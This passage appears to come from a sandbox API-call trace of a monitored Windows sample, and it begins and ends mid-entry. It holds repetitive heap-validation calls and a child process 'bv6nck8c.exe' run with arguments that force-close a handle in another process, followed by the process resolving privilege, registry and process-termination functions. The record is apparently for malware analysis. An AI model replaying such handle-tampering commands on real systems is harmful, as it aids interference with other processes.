lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0099.168] GetProcessHeap () returned 0x730000 [0099.168] GetProcessHeap () returned 0x730000 [0099.168] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746b30) returned 1 [0099.168] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746b30) returned 0x1fc [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746a50) returned 1 [0099.169] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746a50) returned 0x4 [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745570) returned 1 [0099.169] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745570) returned 0x16 [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744cc0) returned 1 [0099.169] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744cc0) returned 0x10 [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745590) returned 1 [0099.169] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745590) returned 0x14 [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746768) returned 1 [0099.169] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746768) returned 0xa0 [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744d98) returned 1 [0099.169] GetProcessHeap () returned 0x730000 [0099.169] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744d98) returned 0x10 [0099.169] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745390) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745390) returned 0x14 [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x73f830) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x73f830) returned 0x76 [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e70) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e70) returned 0x10 [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745370) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745370) returned 0x14 [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746a70) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746a70) returned 0x7a [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e40) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e40) returned 0x10 [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745350) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745350) returned 0x14 [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e28) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e28) returned 0xc [0099.170] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e10) returned 1 [0099.170] GetProcessHeap () returned 0x730000 [0099.170] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e10) returned 0x10 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745330) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745330) returned 0x14 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745b78) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745b78) returned 0x208 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744d38) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744d38) returned 0x10 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7452f0) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7452f0) returned 0x14 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746810) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746810) returned 0x200 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744db0) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744db0) returned 0x10 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745290) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745290) returned 0x14 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745410) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745410) returned 0x14 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744df8) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744df8) returned 0x10 [0099.171] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745210) returned 1 [0099.171] GetProcessHeap () returned 0x730000 [0099.171] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745210) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745450) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745450) returned 0x16 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744dc8) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744dc8) returned 0x10 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7451d8) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7451d8) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7450a8) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7450a8) returned 0x2 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7450b8) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7450b8) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7450d8) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7450d8) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7450f8) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7450f8) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745118) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745118) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7453b0) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7453b0) returned 0x14 [0099.172] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744f00) returned 1 [0099.172] GetProcessHeap () returned 0x730000 [0099.172] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744f00) returned 0xa [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7453d0) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7453d0) returned 0x14 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746a18) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746a18) returned 0x30 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7453f0) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7453f0) returned 0x14 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x746af8) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x746af8) returned 0x30 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745550) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745550) returned 0x14 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e58) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e58) returned 0x10 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745530) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745530) returned 0x14 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744de0) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744de0) returned 0x10 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745510) returned 1 [0099.173] GetProcessHeap () returned 0x730000 [0099.173] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745510) returned 0x14 [0099.173] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744e88) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744e88) returned 0xe [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7454f0) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7454f0) returned 0x14 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745430) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745430) returned 0x16 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7454d0) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7454d0) returned 0x14 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7455b0) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7455b0) returned 0x16 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7454b0) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7454b0) returned 0x14 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7549e8) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7549e8) returned 0x82 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745490) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745490) returned 0x14 [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744ee8) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744ee8) returned 0xe [0099.174] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745470) returned 1 [0099.174] GetProcessHeap () returned 0x730000 [0099.174] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745470) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744cf0) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744cf0) returned 0x10 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745138) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745138) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745158) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745158) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745178) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745178) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745198) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745198) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744d08) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744d08) returned 0x10 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7451b8) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7451b8) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745230) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745230) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745270) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745270) returned 0x14 [0099.175] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7452b0) returned 1 [0099.175] GetProcessHeap () returned 0x730000 [0099.175] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7452b0) returned 0x14 [0099.176] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x7452d0) returned 1 [0099.176] GetProcessHeap () returned 0x730000 [0099.176] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x7452d0) returned 0x14 [0099.176] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744d20) returned 1 [0099.176] GetProcessHeap () returned 0x730000 [0099.176] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744d20) returned 0x10 [0099.176] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745250) returned 1 [0099.176] GetProcessHeap () returned 0x730000 [0099.176] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745250) returned 0x14 [0099.176] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744cd8) returned 1 [0099.176] GetProcessHeap () returned 0x730000 [0099.176] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x744cd8) returned 0x10 [0099.176] exit (_Code=0) Thread: id = 722 os_tid = 0xd3c Process: id = "160" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x22cab000" os_pid = "0xd0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbb4" cmd_line = "bv6ncK8c.exe -accepteula -c 158 -y -p 1824 -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 714 os_tid = 0xd10 [0086.308] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0086.308] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0086.308] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0086.309] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0086.310] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0086.311] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0086.312] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0086.313] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0086.314] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0086.314] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0086.315] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0086.316] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0086.316] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0086.316] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0086.316] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0086.316] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0086.316] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0086.316] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0086.316] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0086.316] GetProcAddress (hModule=0x752d0000, 